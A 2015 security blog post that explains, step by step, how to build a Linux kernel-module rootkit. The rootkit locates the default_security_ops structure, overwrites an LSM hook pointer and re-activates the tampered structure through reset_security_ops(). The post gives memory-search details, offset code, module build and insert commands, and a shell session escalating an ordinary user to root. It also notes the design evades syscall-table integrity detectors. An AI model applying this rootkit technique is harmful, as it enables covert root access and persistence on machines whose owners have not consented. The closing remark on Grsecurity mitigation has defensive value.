Writing a LKM rootkit that uses LSM hooks

Mon, 15 Jun 2015 23:42:19 +0200
Tags: security, kernel, LSM, LKM, rootkit

Modifying the syscall table (sys_call_table[]) through a LKM is a common way to deploy a rootkit and get arbitrary code executed on demand [0][1]. Unfortunately, detection tools (for instance [2]) verify the integrity of this table and succeed in discovering such rootkits. I'll describe here another technique that uses the security framework of the kernel (LSM).

For short, LSM provides a lot of security hooks that are called during various kernel operations in order to enforce its security (by adding access control, system audit, etc.). Despite some efforts from developers to avoid a LKM to register new LSM at runtime [3], or by eliminating direct use of the security_ops structures [4], it remains possible to modify those hooks at runtime and thus, have a good plug for rootkit (quite close to syscall hijacking efficiency).

In order to achieve this, a LKM needs to:

  1. retrieve the default_security_ops structure in the kernel data section ;
  2. change the function pointer of your choice inside the default_security_ops structure ;
  3. call the available reset_security_ops() function that resets security operations to default (and set it back to default_security_ops).

Step 1: Find the default_security_ops structure

The default_security_ops symbol isn't exported but it can be found in the "/boot/System.map" file. However, this file doesn't contain the exact representation of what is currently loaded in memory. A better approach is to find this structure at runtime, inside the kernel data section.

We can have use of internal functions (mostly in "/kernel/resource.c") to retrieve the exact start and end addresses of the data section. Those functions are for instance executed while reading the /proc/iomem file:

$ grep "Kernel data" /proc/iomem
01515fd1-018ec87f : Kernel data

Inside that piece of memory, we must find a pattern that corresponds to our default_security_ops structure. What we know about is that it is initialized with:

 37 static struct security_operations default_security_ops = {
 38         .name   = "default",
 39 };

As name is the first variable of the structure, we can easily deduce that in memory, our structure starts with the "default" string:

1432 struct security_operations {
1433         char name[SECURITY_NAME_MAX + 1];
1434 
1435         int (*ptrace_access_check) (struct task_struct *child, unsigned int mode);
1436         int (*ptrace_traceme) (struct task_struct *parent);
[...]

Unfortunately there are many occurrences of the "default" string in the data section. So to be more precise, we must search for a longer pattern. Here is how the structure looks like:

Function pointers are 8 bytes long (on x86_64) and will point to kernel code section (i.e. to 0xffffffff8xxxxxxx addresses). We can verify these assumptions on a kernel that has CONFIG_DEBUG_KERNEL and CONFIG_PROC_KCORE enabled:

(gdb) x/16xg  &default_security_ops
0xffffffff81882f80 <default_security_ops>:      0x00746c7561666564 0x0000000000000000
0xffffffff81882f90 <default_security_ops+16>:   0xffffffff81232df0 0xffffffff81232e60
0xffffffff81882fa0 <default_security_ops+32>:   0xffffffff81232ed0 0xffffffff81232f00

Searching for "default" followed by null bytes and a function pointer is enough to match and find the structure. So now we now know what to search for and where.

Step 2: Altering a function pointer

As said, in a security_operations structure what follows the name variable are function pointers, and this is one of those pointers that we have to overwrite.

We can easily find the offset (value from the beginning of the structure to the security hook to overwrite) with the following code (in this case the chosen security hook is inode_create) :

    struct security_operations test;
    unsigned long offset;
    offset = (unsigned long) &test.inode_create - (unsigned long) &test.name;

This code return an offset equal to 168, this means that if a "char *ptr" points to the beginning of the default_security_ops structure, we can overwrite the inode_create function pointer with:

memcpy(ptr+168, "aaaaaaaa", 8);

And thus, code at address 0x6161616161616161 will be executed every time a file is created. The goal is of course to call an address of a code we wrote (a malicious function in our LKM).

Step 3: Enable default_security_ops with reset_security_ops()

The function reset_security_ops() save us a lot of work since it replaces the active security structure set by a legitimate LSM (can be SELinux, Tomoyo, etc.) by our default_security_ops altered structure:

 76 void reset_security_ops(void)
 77 {
 78         security_ops = &default_security_ops;
 79 }

The address of this function is available in "/proc/kallsyms" (i.e. easy to call from a LKM):

 $ grep reset_security_ops /proc/kallsyms 
 ffffffff81233490 T reset_security_ops

The PoC

As an example, here is a LKM rootkit (for x86_64 architecture and kernel version > 3.10) that once loaded, allows any binary with "1337" permissions to be executed with root privileges:

To build and insert the LKM, run the following commands:

# apt-get install linux-headers-$(uname -r)
# make 
[...]
# insmod ./lsmrk.ko

As a normal user, escalate privileges with:

$ cp /bin/sh sh
$ chmod 1337 ./sh
$ ./sh
# id
uid=0(root) gid=0(root) groups=0(root),1000(vladz)

This code is just a demonstration, it can be improved (for example to hide himself from both filesystem and /proc/modules for instance).


Final note

I realized while testing the PoC that once again, Grsecurity was providing good protections against this: the default_security_ops structure is in read only and the reset_security_ops() function was removed.


Thanks to Larry W. Cashdollar for his review and Uzy for bringing ideas.